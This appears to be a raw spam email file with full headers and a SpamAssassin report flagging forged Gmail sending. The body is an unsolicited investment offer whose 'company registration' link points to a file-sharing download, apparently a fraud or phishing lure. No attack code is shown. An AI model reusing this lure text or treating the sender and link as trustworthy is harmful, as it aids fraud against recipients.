OwlCyberSecurity - MANAGER
Edit File: 1749831012.M190945P2890592.premium128.web-hosting.com,S=6717,W=6835
Return-Path: <jjgrlgjr@gmail.com> Delivered-To: contact+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id SMCoCGRNTGhgGywAAvhI2g (envelope-from <jjgrlgjr@gmail.com>) for <contact+spam@gourayafroid.com>; Fri, 13 Jun 2025 12:10:12 -0400 Return-path: <jjgrlgjr@gmail.com> Envelope-to: contact@gourayafroid.com Delivery-date: Fri, 13 Jun 2025 12:10:12 -0400 Received: from [147.45.51.93] (port=46442 helo=crazy-volhard.147-45-51-93.plesk.page) by premium128.web-hosting.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384 (Exim 4.98.2) (envelope-from <jjgrlgjr@gmail.com>) id 1uQ6ym-0000000C7kU-4AKY for contact@gourayafroid.com; Fri, 13 Jun 2025 12:10:11 -0400 Received: from gmail.com (unknown [89.185.80.232]) by crazy-volhard.147-45-51-93.plesk.page (Postfix) with ESMTPA id 44E3087175; Fri, 13 Jun 2025 09:09:08 +0200 (CEST) Authentication-Results: crazy-volhard.147-45-51-93.plesk.page; spf=pass (sender IP is 89.185.80.232) smtp.mailfrom=jjgrlgjr@gmail.com smtp.helo=gmail.com Received-SPF: pass (crazy-volhard.147-45-51-93.plesk.page: connection is authenticated) Reply-To: charleshemmercswm@gmail.com From: Charles Hemmer <jjgrlgjr@gmail.com> Date: 13 Jun 2025 00:08:39 -0700 Message-ID: <20250613000839.0B0796BEF8688949@gmail.com> MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=17.8 X-Spam-Score: 178 X-Spam-Bar: +++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Greetings. I hope this message finds you well. Content analysis details: (17.8 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see <https://www.spamcop.net/bl.shtml?89.185.80.232>] [Blocked - see <https://www.spamcop.net/bl.shtml?147.45.51.93>] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: sendspace.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [147.45.51.93 listed in sa-accredit.habeas.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 1.0 HK_RANDOM_FROM From username looks random 0.0 HK_RANDOM_ENVFROM Envelope sender username looks random 0.5 FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters 1.2 MISSING_HEADERS Missing To: header 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [jjgrlgjr(at)gmail.com] 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 1.9 REPLYTO_WITHOUT_TO_CC No description available. 0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 2.0 MIXED_HREF_CASE Has href in mixed case 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list 0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [147.45.51.93 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [147.45.51.93 listed in sa-trusted.bondedsender.org] 1.0 FREEMAIL_REPLYTO Reply-To/From or Reply-To/body contain different freemails 0.0 SPOOFED_FREEMAIL No description available. 0.3 SPOOF_GMAIL_MID From Gmail but it doesn't seem to be... 2.5 SPOOFED_FREEM_REPTO Forged freemail sender with freemail reply-to X-Spam-Flag: YES Subject: ***SPAM*** Inquiry via ML Exploring Potential Investment Opportunities <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.= w3.org/TR/html4/loose.dtd"> <HTML><HEAD> <META name=3DGENERATOR content=3D"MSHTML 11.00.9600.19963"></HEAD> <BODY style=3D"MARGIN: 0.5em"> <P>Greetings.<BR> <BR>I hope this message finds you well.<BR> <BR= >I am actively exploring new opportunities for silent and private placement= investments, including joint ventures, structured loans, and equity partne= rships. My focus is on projects with strong potential for return on investm= ent, and I am particularly interested in ventures that are innovative, scal= able, and strategically sound.<BR> <BR> With a solid capital base readily available, I am keen to identify promisin= g collaborations and would welcome the opportunity to learn more about your= project. Please feel free to reach out at your convenience to discuss how = we might work together.</P> <P></P> <P>We are happy to provide you with our company registration. You can find = it <A href=3D"https://www.sendspace.com/file/oq147o">here</A> </P> <P><BR>Your early response will be much appreciated!</P> <P>Thank you</P> <P>Warm regards,<BR>Charles Hemmer</P></BODY></HTML>